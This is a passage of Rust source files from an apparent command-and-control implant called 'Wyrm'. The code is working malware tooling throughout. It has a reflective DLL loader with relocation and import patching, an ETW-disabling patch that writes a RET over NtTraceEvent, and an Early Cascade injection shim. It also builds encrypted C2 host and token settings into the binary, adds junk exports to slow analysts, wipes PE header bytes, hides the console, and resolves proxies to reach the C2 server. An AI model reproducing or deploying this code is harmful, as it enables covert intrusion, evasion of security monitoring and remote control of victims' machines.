((*p_img_base_relocation).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>()) / size_of::<u16>(); // // Process each relocation table // for i in 0..num_relocations { // read the entry (16 bits) let entry = read_unaligned(item.add(i)); // Extract the type let type_field = (entry >> 12) as u32; let roff = (entry & 0x0FFF) as usize; // Calculate teh absolute address of the value that needs to be relocated // base + page RVA + offset within page let patch_addr = (p_image_base as usize + (*p_img_base_relocation).VirtualAddress as usize + roff) as *mut u8; // // Apply the actual relocation // match type_field { IMAGE_REL_BASED_DIR64 => { let p = patch_addr as *mut u64; let v = read_unaligned(p); write_unaligned(p, (v as i64 + load_diff as i64) as u64); } IMAGE_REL_BASED_HIGHLOW => { let p = patch_addr as *mut u32; let v = read_unaligned(p); write_unaligned(p, (v as i32 + load_diff as i32) as u32); } _ => {} } } // Move to the next reloc block p_img_base_relocation = get_addr_as_rva( p_img_base_relocation as _, (*p_img_base_relocation).SizeOfBlock as usize, ); } } } #[inline(always)] fn patch_iat( base_addr_ptr: *mut c_void, mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR, exports: &RdiExports, ) -> bool { unsafe { loop { let desc = read_unaligned(import_descriptor_ptr); if desc.Name == 0 { break; } let module_name_ptr = get_addr_as_rva::<i8>(base_addr_ptr as _, desc.Name as usize); if module_name_ptr.is_null() { return false; } let module_handle = (exports.LoadLibraryA)(module_name_ptr as _); if module_handle.is_null() { return false; } let oft = desc.Anonymous.OriginalFirstThunk as usize; let mut orig_thunk: *mut IMAGE_THUNK_DATA64 = if oft != 0 { get_addr_as_rva(base_addr_ptr as _, oft) } else { get_addr_as_rva(base_addr_ptr as _, desc.FirstThunk as usize) }; let mut thunk: *mut IMAGE_THUNK_DATA64 = get_addr_as_rva(base_addr_ptr as _, desc.FirstThunk as usize); loop { let ot = read_unaligned(orig_thunk); if ot.u1.Function == 0 { break; } let func_addr = if (ot.u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0 { // // import by ordinal // let ord = (ot.u1.Ordinal & 0xFFFF) as *const u8; match (exports.GetProcAddresS)(module_handle as _, ord as _) { Some(f) => f as u64, None => return false, } } else { // // imports by name // let name_rva = ot.u1.AddressOfData as usize; let name_ptr = get_addr_as_rva::<u8>(base_addr_ptr as _, name_rva).add(2); match (exports.GetProcAddresS)(module_handle as _, name_ptr as _) { Some(f) => f as u64, None => return false, } }; let mut t = read_unaligned(thunk); t.u1.Function = func_addr; write_unaligned(thunk, t); orig_thunk = orig_thunk.add(1); thunk = thunk.add(1); } import_descriptor_ptr = import_descriptor_ptr.add(1); } } true } #[inline(always)] fn get_addr_as_rva<T>(base_ptr: *mut u8, offset: usize) -> *mut T { (base_ptr as usize + offset) as *mut T } #[inline(always)] fn write_payload( new_base_ptr: *mut c_void, old_base_ptr: *mut u8, nt_headers_ptr: *const u8, nt_headers: &IMAGE_NT_HEADERS64, ) { unsafe { let section_header_offset = (nt_headers_ptr as usize - old_base_ptr as usize) + size_of::<u32>() + size_of::<windows_sys::Win32::System::Diagnostics::Debug::IMAGE_FILE_HEADER>() + nt_headers.FileHeader.SizeOfOptionalHeader as usize; let section_header_ptr = old_base_ptr.add(section_header_offset) as *const IMAGE_SECTION_HEADER; // // Enumerate sections // for i in 0..nt_headers.FileHeader.NumberOfSections { // Read section header unaligned let header_i = read_unaligned(section_header_ptr.add(i as usize)); let dst_ptr = new_base_ptr .cast::<u8>() .add(header_i.VirtualAddress as usize); let src_ptr = old_base_ptr.add(header_i.PointerToRawData as usize); let raw_size = header_i.SizeOfRawData as usize; // Copy section data copy_nonoverlapping(src_ptr, dst_ptr, raw_size); } // Copy PE Headers copy_nonoverlapping( old_base_ptr, new_base_ptr as *mut u8, nt_headers.OptionalHeader.SizeOfHeaders as usize, ); } } #[inline(always)] fn nostd_patch_etw_current_process(exports: &RdiExports) { let fn_addr = export_resolver::resolve_address("ntdll.dll", "NtTraceEvent", None) .unwrap_or_default() as *mut u8; if fn_addr.is_null() { return; } let ret_opcode: u8 = 0xC3; // Have we already patched? if unsafe { *(fn_addr as *mut u8) } == 0xC3 { return; } // Required for 2nd fn call let mut unused_protect: u32 = 0; // The protection flags to reset to let mut old_protect: u32 = 0; unsafe { (exports.VirtualProtect)( fn_addr as *const _, 1, PAGE_EXECUTE_READWRITE, &mut old_protect, ) }; unsafe { core::ptr::write_bytes(fn_addr, ret_opcode, 1) }; unsafe { (exports.VirtualProtect)(fn_addr as *const _, 1, old_protect, &mut unused_protect) }; } fn calculate_image_base() -> Option<*mut c_void> { let load_addr = Load as *const () as usize; // Round down to 64KB boundary let mut current = load_addr & !0xFFFF; for _ in 0..16 { if is_valid_pe_base(current) { let current = current as *mut c_void; return Some(current); } current = current.wrapping_sub(0x10000); // Move back 64KB } None } /// Do our best to validate that the offset we found is actually the start of our injected PE. /// This is necessary for using early cascade as we cannot pass a parameter into the routine. fn is_valid_pe_base(addr: usize) -> bool { unsafe { let base = addr as *const u8; let lfanew = read_unaligned(base.add(0x3C) as *const u32); // e_lfanew should be reasonable (typically 0x80-0x200) if lfanew < 0x40 || lfanew > 0x1000 { return false; } // Verify PE signature at e_lfanew offset let pe_sig = read_unaligned(base.add(lfanew as usize) as *const u32); if pe_sig != 0x00004550 { return false; } // Verify machine type (x64) let machine = read_unaligned(base.add(lfanew as usize + 4) as *const u16); if machine != 0x8664 { return false; } // Verify optional header magic let opt_magic = read_unaligned(base.add(lfanew as usize + 24) as *const u16); if opt_magic != 0x020B { return false; } // Verify SizeOfImage is reasonable let size_of_image = read_unaligned(base.add(lfanew as usize + 24 + 56) as *const u32); if size_of_image < 0x1000 || size_of_image > 0xA00000 { // Between 4KB and 10MB return false; } // Verify ImageBase looks like a valid address let image_base_field = read_unaligned(base.add(lfanew as usize + 24 + 24) as *const u64); if image_base_field == 0 { return false; } // Verify the address is within SizeOfImage let load_offset = (Load as *const c_void as usize).wrapping_sub(addr); if load_offset > size_of_image as usize { return false; } true } } ================================================ FILE: implant/src/stubs/shim.rs ================================================ //! This is a shellcode (no_std rust near enough == shellcode just not hand coded) stub in the rDLL for Early Cascade //! Injection which makes life easier rather than hand writing shellcode, or using an engine to do so. use core::ffi::c_void; use shared_no_std::{export_resolver::resolve_address, memory::locate_shim_pointers}; use crate::stubs::rdi::Load; #[repr(u32)] enum ShimHardReturnErrors { Success = 0, NtQueueApcThreadNotFound = 1, ShimPtrsNotFound, } // ty https://ntdoc.m417z.com/ntqueueapcthread type NtQueueApcThread = unsafe extern "system" fn( thread_handle: isize, apc_routine: *const c_void, arg1: usize, arg2: usize, arg3: usize, ) -> u32; /// Context independent stub that acts as a 'shim trampoline' which will execute when we set up the shim mechanism /// with g_ShimsEnabled == 1 and g_pfnSE_DllLoaded == address of Shim(). #[unsafe(no_mangle)] #[allow(non_snake_case)] pub extern "system" fn Shim() -> u32 { let p_nt_queue_apc_thread = resolve_address("ntdll.dll", "NtQueueApcThread", None).unwrap_or_default(); if p_nt_queue_apc_thread.is_null() { return ShimHardReturnErrors::NtQueueApcThreadNotFound as _; } let Ok(shim_ptrs) = locate_shim_pointers() else { return ShimHardReturnErrors::ShimPtrsNotFound as _; }; // // Patch shim flag as per // https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/ // let val = 0u8; unsafe { core::ptr::write_unaligned(shim_ptrs.p_g_shims_enabled, val) }; // TODO further search for EDR shims, and remove - make optional? // // Queue our reflective loader as an APC via NtQueueApcThread // let current_thread = -2isize; let apc_routine = Load as *const c_void; let apc_arg1 = 0usize; let apc_arg2 = 0usize; let apc_arg3 = 0usize; // // Queue the rDLL stub as an APC which will fire on NtTestAlert after ntdll has finished its biz // let NtQueueApcThread = unsafe { core::mem::transmute::<_, NtQueueApcThread>(p_nt_queue_apc_thread) }; let res = unsafe { NtQueueApcThread(current_thread, apc_routine, apc_arg1, apc_arg2, apc_arg3) }; if res != 0 { res } else { ShimHardReturnErrors::Success as _ } } ================================================ FILE: implant/src/utils/allocate.rs ================================================ use std::alloc::{GlobalAlloc, Layout}; use windows_sys::Win32::System::Memory::{ GetProcessHeap, HEAP_ZERO_MEMORY, HeapAlloc, HeapFree, HeapReAlloc, }; pub struct ProcessHeapAlloc; unsafe impl GlobalAlloc for ProcessHeapAlloc { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { HeapAlloc(GetProcessHeap(), 0, layout.size()) as *mut u8 } unsafe fn alloc_zeroed(&self, layout: Layout) -> *mut u8 { HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, layout.size()) as *mut u8 } unsafe fn dealloc(&self, ptr: *mut u8, _layout: Layout) { if !ptr.is_null() { HeapFree(GetProcessHeap(), 0, ptr.cast()); } } unsafe fn realloc(&self, ptr: *mut u8, _layout: Layout, new_size: usize) -> *mut u8 { HeapReAlloc(GetProcessHeap(), 0, ptr.cast(), new_size) as *mut u8 } } ================================================ FILE: implant/src/utils/comptime.rs ================================================ use std::process::exit; use str_crypter::{decrypt_string, sc}; use crate::utils::console::print_failed; pub type SleepSeconds = u64; pub type ApiEndpoint = Vec<String>; pub type SecurityToken = String; pub type Useragent = String; pub type Port = u16; pub type URL = String; pub type AgentNameByOperator = String; pub type Jitter = u64; pub type WinGlobalMutex = String; pub type SpawnAs = String; const SPAWN_AS_IMAGE_FALLBACK: &str = "C:\\Windows\\System32\\svchost.exe"; /// Translates build artifacts passed to the compiler by the build environment variables /// taken from the profile pub fn translate_build_artifacts() -> ( SleepSeconds, ApiEndpoint, SecurityToken, Useragent, Port, URL, AgentNameByOperator, Jitter, WinGlobalMutex, SpawnAs, ) { // Note: This doesn't leave traces in the binary (other than unencrypted IOCs to be encrypted in a // upcoming small update). We use `option_env!()` to prevent rust-analyzer from having a fit - whilst // this could allow bad data, we prevent this at compile time with unwrap(). let sleep_seconds: u64 = option_env!("DEF_SLEEP_TIME").unwrap().parse().unwrap(); const URL: &str = option_env!("C2_HOST").unwrap_or_default(); const API_ENDPOINT: &str = option_env!("C2_URIS").unwrap_or_default(); const SECURITY_TOKEN: &str = option_env!("SECURITY_TOKEN").unwrap_or_default(); const AGENT_NAME: &str = option_env!("AGENT_NAME").unwrap_or_default(); const MUTEX: &str = option_env!("MUTEX").unwrap_or_default(); const USERAGENT: &str = option_env!("USERAGENT").unwrap_or_default(); let port: u16 = option_env!("C2_PORT").unwrap().parse().unwrap(); let jitter: Jitter = option_env!("JITTER").unwrap().parse().unwrap(); let spawn_as_img: &str = option_env!("DEFAULT_SPAWN_AS").unwrap_or_default(); let mut spawn_as_img = { if spawn_as_img.is_empty() { SPAWN_AS_IMAGE_FALLBACK.to_string() } else { spawn_as_img.trim().to_string() } }; spawn_as_img.push('\0'); // to make the compiler comply, we have to construct the above including a default // value if the env var was not present, we want to check for those default values // and quit if they are present as that is considered a fatal error. if URL.is_empty() { #[cfg(debug_assertions)] print_failed("URL was empty"); exit(0); } if API_ENDPOINT.is_empty() { #[cfg(debug_assertions)] print_failed("API_ENDPOINT was empty"); exit(0); } if SECURITY_TOKEN.is_empty() { #[cfg(debug_assertions)] print_failed("SECURITY_TOKEN was empty"); exit(0); } if USERAGENT.is_empty() { #[cfg(debug_assertions)] print_failed("USERAGENT was empty"); exit(0); } // // Encrypt the relevant IOCs into the binary // let url = sc!(URL, 41).unwrap(); let useragent = sc!(USERAGENT, 49).unwrap(); let agent_name_by_operator = sc!(AGENT_NAME, 128).unwrap(); let security_token = sc!(SECURITY_TOKEN, 153).unwrap(); let mutex = sc!(MUTEX, 142).unwrap(); // The API endpoints are encoded as a csv; so we need to construct a Vec from that let api_endpoints = API_ENDPOINT .split(',') .map(|s| s.to_string()) .collect::<Vec<String>>(); ( sleep_seconds, api_endpoints, security_token, useragent, port, url, agent_name_by_operator, jitter, mutex, spawn_as_img, ) } ================================================ FILE: implant/src/utils/console.rs ================================================ use std::{ ffi::c_void, fmt::Display, ptr::null_mut, sync::{ Mutex, Once, OnceLock, atomic::{AtomicPtr, Ordering}, }, }; use windows_sys::Win32::{ Foundation::HANDLE, Storage::FileSystem::ReadFile, System::{ Console::{AllocConsole, GetConsoleWindow, STD_OUTPUT_HANDLE, SetStdHandle}, Pipes::CreatePipe, Threading::CreateThread, }, UI::WindowsAndMessaging::{SW_HIDE, ShowWindow}, }; static INIT_PIPE: Once = Once::new(); pub static CONSOLE_PIPE_HANDLE: AtomicPtr<c_void> = AtomicPtr::new(null_mut()); pub static CONSOLE_LOG: OnceLock<Mutex<Vec<u8>>> = OnceLock::new(); pub fn get_console_log() -> &'static Mutex<Vec<u8>> { CONSOLE_LOG.get_or_init(|| Mutex::new(Vec::new())) } pub fn init_agent_console() { INIT_PIPE.call_once(|| { let _ = get_console_log(); // // Hide the window if it exists // let h_wnd = unsafe { GetConsoleWindow() }; if !h_wnd.is_null() { unsafe { AllocConsole() }; let h_w_n = unsafe { GetConsoleWindow() }; if !h_w_n.is_null() { unsafe { ShowWindow(h_w_n, SW_HIDE) }; } } let mut p_out = HANDLE::default(); let mut p_in = HANDLE::default(); if unsafe { CreatePipe(&mut p_out, &mut p_in, null_mut(), 0) } == 0 { // TODO idk best way to handle this // Also we may want to exit the thread not process #[cfg(debug_assertions)] { use windows_sys::Win32::Foundation::GetLastError; print_failed(format!( "Failed to init anon pipe for console. {:#X}", unsafe { GetLastError() } )); } std::process::exit(0); } CONSOLE_PIPE_HANDLE.store(p_out, Ordering::SeqCst); unsafe { SetStdHandle(STD_OUTPUT_HANDLE, p_in) }; // TODO think about this in terms of doing funky things in the future like sleep masking.. does this cause // a problem having multiple threads on the go? Or can i just freeze them all? Idek how it works in that // much detail but.. we will see :) start_stdout_reader_thread() }); } fn start_stdout_reader_thread() { unsafe { CreateThread(null_mut(), 0, Some(thread_loop), null_mut(), 0, null_mut()) }; } unsafe extern "system" fn thread_loop(_: *mut c_void) -> u32 { unsafe { let mut buf = [0u8; 4096]; let h_read = CONSOLE_PIPE_HANDLE.load(Ordering::SeqCst); loop { let mut bytes_read: u32 = 0; let ok = ReadFile( h_read, buf.as_mut_ptr() as *mut _, buf.len() as u32, &mut bytes_read, std::ptr::null_mut(), ); if ok == 0 || bytes_read == 0 { // TODO this is bad other than at process shutdown? break; } if !buf.is_empty() { let mut log = get_console_log().lock().unwrap(); log.extend_from_slice(&buf[..bytes_read as usize]); } } } 1 } /// Prints debug output via `OutputDebugStringA`; this internally checks for the agent being built in /// debug mode so this will not affect release builds. #[macro_export] macro_rules! dbgprint { ($($arg:tt)*) => {{ #[cfg(debug_assertions)] { use std::ffi::CString; use windows_sys::{ Win32::{ System::Diagnostics::Debug::{OutputDebugStringA}, }, }; let mut s = format!($($arg)*); s.retain(|c| c != '\0'); if let Ok(cstr) = CString::new(s) { unsafe { OutputDebugStringA(cstr.as_ptr() as _); } } } }}; } pub fn print_success(msg: impl Display) { println!("[+] {}", msg); dbgprint!("[+] {}", msg); } pub fn print_info(msg: impl Display) { println!("[i] {msg}"); dbgprint!("[i] {}", msg); } pub fn print_failed(msg: impl Display) { println!("[-] {msg}"); dbgprint!("[-] {}", msg); } ================================================ FILE: implant/src/utils/export_comptime.rs ================================================ //! A module for creating either fake exports full of junk, or exports which //! lead to the running of the agent, customisable via profiles - thanks to the //! magic of macros. //! //! This module would be used for two main reasons: //! //! 1) Obfuscation: If you wish to obfuscate the binary by enforcing a number of random //! exports which take analyst time up to review, then you may wish to add a number of //! junk export functions. //! //! 2) Custom entrypoint: If you wish a custom entrypoint which is not `run`, this will //! allow you to define that - and it will come in handy for custom DLL sideloading. // use core::arch::naked_asm; use std::{ffi::c_void, mem::transmute, ptr::null_mut, sync::atomic::Ordering}; use windows_sys::Win32::{ Foundation::{CloseHandle, FALSE, HINSTANCE}, Storage::FileSystem::SYNCHRONIZE, System::{ SystemServices::DLL_PROCESS_ATTACH, Threading::{CreateThread, LPTHREAD_START_ROUTINE, Sleep}, WindowsProgramming::OpenMutexA, }, }; use crate::{ entry::{APPLICATION_RUNNING, start_wyrm}, utils::strings::generate_mutex_name, }; pub fn internal_dll_start(start_type: StartType) { match start_type { StartType::DllMain => start_in_os_thread_mutex_check(), StartType::FromExport => { if !APPLICATION_RUNNING.load(Ordering::SeqCst) { start_in_os_thread_no_mutex_check(); } loop { unsafe { Sleep(1000) }; } } StartType::Rdl => { if !APPLICATION_RUNNING.load(Ordering::SeqCst) { start_in_os_thread_no_mutex_check(); } loop { unsafe { Sleep(1000) }; } } } } fn start_in_os_thread_no_mutex_check() { unsafe { let start = transmute::<LPTHREAD_START_ROUTINE, LPTHREAD_START_ROUTINE>(Some(runpoline)); let handle = CreateThread(null_mut(), 0, start, null_mut(), 0, null_mut()); if !handle.is_null() { APPLICATION_RUNNING.store(true, Ordering::SeqCst); } } } unsafe extern "system" fn runpoline(_p1: *mut c_void) -> u32 { start_wyrm(); 0 } fn start_in_os_thread_mutex_check() { // If the mutex already exists we dont want to continue setting up Wyrm so just return out the DllMain if check_mutex().is_some() { return; } start_in_os_thread_no_mutex_check(); } /// Returns `Some(())` if the mutex exists on the system fn check_mutex() -> Option<()> { let mutex: &str = option_env!("MUTEX").unwrap_or_default(); if mutex.is_empty() { return None; } let mtx_name = generate_mutex_name(mutex); let existing_handle = unsafe { OpenMutexA(SYNCHRONIZE, FALSE, mtx_name.as_ptr() as *const u8) }; if !existing_handle.is_null() { unsafe { CloseHandle(existing_handle) }; return Some(()); } None } #[allow(dead_code)] pub enum StartType { DllMain, FromExport, /// From the reflective loader Rdl, } macro_rules! build_dll_export_by_name_start_wyrm { ($name:ident) => { #[unsafe(no_mangle)] unsafe extern "system" fn $name() { internal_dll_start(StartType::FromExport); } }; } macro_rules! build_dll_export_by_name_junk_machine_code { ($name:ident, $($b:expr),+ $(,)?) => { #[unsafe(no_mangle)] #[unsafe(naked)] unsafe extern "system" fn $name() { naked_asm!( $( concat!(".byte ", stringify!($b)), )+ ) } }; } include!(concat!(env!("OUT_DIR"), "/custom_exports.rs")); ================================================ FILE: implant/src/utils/mod.rs ================================================ pub mod allocate; pub mod comptime; pub mod console; pub mod export_comptime; pub mod pe_stomp; pub mod proxy; pub mod strings; pub mod svc_controls; pub mod time_utils; ================================================ FILE: implant/src/utils/pe_stomp.rs ================================================ /// Given an input mutable buffer, stomps the first 50 bytes at hte `MZ` point, and /// the "This program cannot be run in DOS mode...". /// /// The function operates mutably on the input buffer. pub fn stomp_pe_header_bytes(buf: &mut Vec<u8>) { // overwrite the MZ header but keeping the e_lfanew const MAX_OVERWRITE_END: usize = 50; buf[0..MAX_OVERWRITE_END].fill(0); // overwrite the THIS PROGRAM CANNOT BE RUN IN DOS MODE... const RANGE_START: usize = 0x4E; const RANGE_END: usize = 0x73; buf[RANGE_START..RANGE_END].fill(0); } ================================================ FILE: implant/src/utils/proxy.rs ================================================ use std::{ffi::c_void, iter::once, mem::zeroed, ptr::null_mut}; use windows_sys::Win32::{ Foundation::{GlobalFree, TRUE}, Globalization::lstrlenW, Networking::WinHttp::{ WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_AUTO_DETECT_TYPE_DHCP, WINHTTP_AUTO_DETECT_TYPE_DNS_A, WINHTTP_AUTOPROXY_AUTO_DETECT, WINHTTP_AUTOPROXY_CONFIG_URL, WINHTTP_AUTOPROXY_OPTIONS, WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, WINHTTP_PROXY_INFO, WinHttpCloseHandle, WinHttpGetIEProxyConfigForCurrentUser, WinHttpGetProxyForUrl, WinHttpOpen, }, }; use crate::{comms::construct_c2_url, wyrm::Wyrm}; #[derive(Default)] pub struct ProxyConfig { pub proxy_url: Option<String>, proxy_bypass: Option<String>, } pub enum ProxyError { /// The function could not convert UNICODE chars to a string in the lpszProxy field. DecodeStringErrorProxy, /// The function could not convert UNICODE chars to a string in the lpszProxyBypass field. DecodeStringErrorBypass, /// The function failed to get a valid pointer to a HINTERNET HInternetFailed, WinHttpProxyForUrlFailed(u32), } pub fn resolve_web_proxy(implant: &Wyrm) -> Result<Option<ProxyConfig>, ProxyError> { // // Try resolve the proxy the simplest way through WinHttpGetProxyForUrl // let ua_wide: Vec<u16> = implant .c2_config .useragent .encode_utf16() .chain(once(0)) .collect(); let h_internet = unsafe { WinHttpOpen( ua_wide.as_ptr(), WINHTTP_ACCESS_TYPE_NO_PROXY, null_mut(), null_mut(), 0, ) }; if h_internet.is_null() { return Err(ProxyError::HInternetFailed); } let c2 = construct_c2_url(implant); let target_is_https = c2.starts_with("https://"); let url: Vec<u16> = c2.encode_utf16().chain(once(0)).collect(); let mut auto_proxy_options: WINHTTP_AUTOPROXY_OPTIONS = unsafe { core::mem::zeroed() }; auto_proxy_options.fAutoLogonIfChallenged = TRUE; auto_proxy_options.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; auto_proxy_options.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; let mut out_proxy_info = WINHTTP_PROXY_INFO::default(); let result = unsafe { WinHttpGetProxyForUrl( h_internet, url.as_ptr(), &mut auto_proxy_options, &mut out_proxy_info, ) }; if result == TRUE { // If we got a valid proxy URL.. if !out_proxy_info.lpszProxy.is_null() { let len_proxy = unsafe { lstrlenW(out_proxy_info.lpszProxy) } as usize; if len_proxy > 0 { let slice = unsafe { std::slice::from_raw_parts(out_proxy_info.lpszProxy, len_proxy) }; let Ok(proxy_url) = String::from_utf16(slice) else { unsafe { WinHttpCloseHandle(h_internet) }; global_free(out_proxy_info.lpszProxyBypass as *mut _); global_free(out_proxy_info.lpszProxy as *mut _); return Err(ProxyError::DecodeStringErrorProxy); }; unsafe { WinHttpCloseHandle(h_internet) }; global_free(out_proxy_info.lpszProxyBypass as *mut _); global_free(out_proxy_info.lpszProxy as *mut _); let proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https); return Ok(Some(ProxyConfig { proxy_url: proxy_url, proxy_bypass: None, })); } } } // // Try via next best options to resolve proxy // let mut winhttp_proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG::default(); let result = unsafe { WinHttpGetIEProxyConfigForCurrentUser(&mut winhttp_proxy_config) }; if result == TRUE { // // If an explicit proxy server is defined // if !winhttp_proxy_config.lpszProxy.is_null() { let mut proxy_config = ProxyConfig::default(); let len_proxy = unsafe { lstrlenW(winhttp_proxy_config.lpszProxy) } as usize; let len_bypass = { if !winhttp_proxy_config.lpszProxyBypass.is_null() { unsafe { lstrlenW(winhttp_proxy_config.lpszProxyBypass) } } else { 0 } } as usize; if len_proxy > 0 { let slice = unsafe { std::slice::from_raw_parts(winhttp_proxy_config.lpszProxy, len_proxy) }; let Ok(proxy_url) = String::from_utf16(slice) else { unsafe { WinHttpCloseHandle(h_internet) }; global_free(winhttp_proxy_config.lpszProxyBypass as *mut _); global_free(winhttp_proxy_config.lpszProxy as *mut _); global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _); return Err(ProxyError::DecodeStringErrorProxy); }; proxy_config.proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https); // Now try resolve the bypass UNICODE string if len_bypass > 0 { let slice = unsafe { std::slice::from_raw_parts(winhttp_proxy_config.lpszProxyBypass, len_bypass) }; let Ok(bypass_url) = String::from_utf16(slice) else { unsafe { WinHttpCloseHandle(h_internet) }; global_free(winhttp_proxy_config.lpszProxyBypass as *mut _); global_free(winhttp_proxy_config.lpszProxy as *mut _); global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _); return Err(ProxyError::DecodeStringErrorBypass); }; proxy_config.proxy_bypass = Some(bypass_url); } global_free(winhttp_proxy_config.lpszProxyBypass as *mut _); global_free(winhttp_proxy_config.lpszProxy as *mut _); global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _); unsafe { WinHttpCloseHandle(h_internet) }; return Ok(Some(proxy_config)); } } // Otherwise.. fall through } // // Check for auto proxy // if !winhttp_proxy_config.lpszAutoConfigUrl.is_null() { auto_proxy_options.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; auto_proxy_options.lpszAutoConfigUrl = winhttp_proxy_config.lpszAutoConfigUrl; auto_proxy_options.dwAutoDetectFlags = 0; // reset out data so we dont read partially cached fields from earlier call let mut out_proxy_info = unsafe { zeroed() }; let result = unsafe { WinHttpGetProxyForUrl( h_internet, url.as_ptr(), &mut auto_proxy_options, &mut out_proxy_info, ) }; if result == TRUE && !out_proxy_info.lpszProxy.is_null() { let len_proxy = unsafe { lstrlenW(out_proxy_info.lpszProxy) } as usize; if len_proxy > 0 { let slice = unsafe { std::slice::from_raw_parts(out_proxy_info.lpszProxy, len_proxy) }; let Ok(proxy_url) = String::from_utf16(slice) else { unsafe { WinHttpCloseHandle(h_internet) }; global_free(out_proxy_info.lpszProxyBypass as *mut _); global_free(out_proxy_info.lpszProxy as *mut _); return Err(ProxyError::DecodeStringErrorProxy); }; unsafe { WinHttpCloseHandle(h_internet) }; global_free(out_proxy_info.lpszProxyBypass as *mut _); global_free(out_proxy_info.lpszProxy as *mut _); let proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https); return Ok(Some(ProxyConfig { proxy_url: proxy_url, proxy_bypass: None, })); } } } unsafe { WinHttpCloseHandle(h_internet) }; global_free(out_proxy_info.lpszProxyBypass as *mut _); global_free(out_proxy_info.lpszProxy as *mut _); global_free(winhttp_proxy_config.lpszProxyBypass as *mut _); global_free(winhttp_proxy_config.lpszProxy as *mut _); global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _); Ok(None) } fn global_free(p: *mut c_void) { if !p.is_null() { unsafe { GlobalFree(p) }; } } fn winhttp_proxy_to_url(raw: &str, target_is_https: bool) -> Option<String> { let raw = raw.trim().trim_matches('"'); if raw.is_empty() { return None; } if raw.eq_ignore_ascii_case("DIRECT") { return None; } let mut chosen = None; if raw.contains("http=") || raw.contains("https=") || raw.contains("socks=") { for part in raw.split(';').map(str::trim).filter(|p| !p.is_empty()) { if let Some((k, v)) = part.split_once('=') { let k = k.trim().to_ascii_lowercase(); let v = v.trim(); if target_is_https && k == "https" { chosen = Some(v); break; } if !target_is_https && k == "http" { chosen = Some(v); break; } // fallback if chosen.is_none() && (k == "http" || k == "https") { chosen = Some(v); } } } } let list = chosen.unwrap_or(raw); let first = list .split(';') .map(str::trim) .find(|p| !p.is_empty() && !p.eq_ignore_ascii_case("DIRECT"))?; if first.contains("://") { return Some(first.to_string()); } Some(format!("http://{first}")) } ================================================ FILE: implant/src/utils/strings.rs ================================================ use std::slice::from_raw_parts; use windows_sys::Win32::Foundation::MAX_PATH; /// Converts a WSTR to a String by the **number of chars** NOT the length in bytes. /// /// # Safety /// Pointers should be validated before passing into the function pub unsafe fn utf_16_to_string_lossy(p_w_str: *const u16, num_chars: usize) -> String { let parts = unsafe { from_raw_parts(p_w_str, num_chars) }; String::from_utf16_lossy(&parts) } /// Generates a safe system `Global` mutex name given an input string. /// /// **IMPORTANT NOTE**: This function is copied (for convenience) between loader and implant for generating a matching /// mutex name (because of nostd and shared library limits [im being lazy]). **THEREFORE** if there is a change to the /// logic in this function it **MUST** !!!!!!!!!!!! be reflected in both crates. pub fn generate_mutex_name(mutex: &str) -> [u8; MAX_PATH as usize] { let mut mtx_name = [0u8; MAX_PATH as usize]; let mut cursor: usize = 0; const GLOBAL_PREFIX_STR: &[u8] = br"Global\"; for b in GLOBAL_PREFIX_STR { mtx_name[cursor] = *b; cursor += 1; } // Need to be very careful to check we aren't going to overflow the buffer in a way which wont panic // as a panic will lead to an infinite loop happening in the panic handler. let max_mutex_len = (MAX_PATH as usize) .saturating_sub(GLOBAL_PREFIX_STR.len()) .saturating_sub(1); let mutex_bytes = mutex.as_bytes(); let copy_len = mutex_bytes.len().min(max_mutex_len); // Now safely copy into the buffer mtx_name[cursor..cursor + copy_len].copy_from_slice(&mutex_bytes[..copy_len]); cursor += copy_len; // Add a null termiantor if cursor < MAX_PATH as usize { mtx_name[cursor] = 0; }; mtx_name } ================================================ FILE: implant/src/utils/svc_controls.rs ================================================ use std::{ ffi::c_void, ptr::null_mut, sync::atomic::{AtomicBool, AtomicPtr, Ordering}, }; use windows_sys::Win32::{ Foundation::ERROR_SUCCESS, System::{ Services::{ SERVICE_RUNNING, SERVICE_STATUS, SERVICE_STATUS_CURRENT_STATE, SERVICE_STATUS_HANDLE, SERVICE_STOPPED, SERVICE_WIN32_OWN_PROCESS, SetServiceStatus, }, Threading::ExitProcess, }, }; use crate::entry::IS_IMPLANT_SVC; pub static SERVICE_STOP_EVENT: AtomicBool = AtomicBool::new(false); pub static SERVICE_HANDLE: AtomicPtr<c_void> = AtomicPtr::new(null_mut()); /// Update the service status in the SCM pub unsafe fn update_service_status(h_status: SERVICE_STATUS_HANDLE, state: u32) { let mut service_status = SERVICE_STATUS { dwServiceType: SERVICE_WIN32_OWN_PROCESS, dwCurrentState: SERVICE_STATUS_CURRENT_STATE::from(state), dwControlsAccepted: if state == SERVICE_RUNNING { 1 } else { 0 }, dwWin32ExitCode: ERROR_SUCCESS, dwServiceSpecificExitCode: 0, dwCheckPoint: 0, dwWaitHint: 0, }; unsafe { let _ = SetServiceStatus(h_status, &mut service_status); } } /// In the event the implant is built as a service, attempt to cleanly stop the service and /// cleanly exit pub fn stop_svc_and_exit() -> ! { let h_svc = SERVICE_HANDLE.load(Ordering::SeqCst); unsafe { if !IS_IMPLANT_SVC.load(Ordering::SeqCst) || h_svc.is_null() { ExitProcess(0); } update_service_status(h_svc, SERVICE_STOPPED); } unsafe { ExitProcess(0) }; } ================================================ FILE: implant/src/utils/time_utils.rs ================================================ use windows_sys::Win32::System::SystemInformation::GetSystemTimeAsFileTime; pub fn epoch_now() -> i64 { unsafe { let mut ft: u64 = 0; 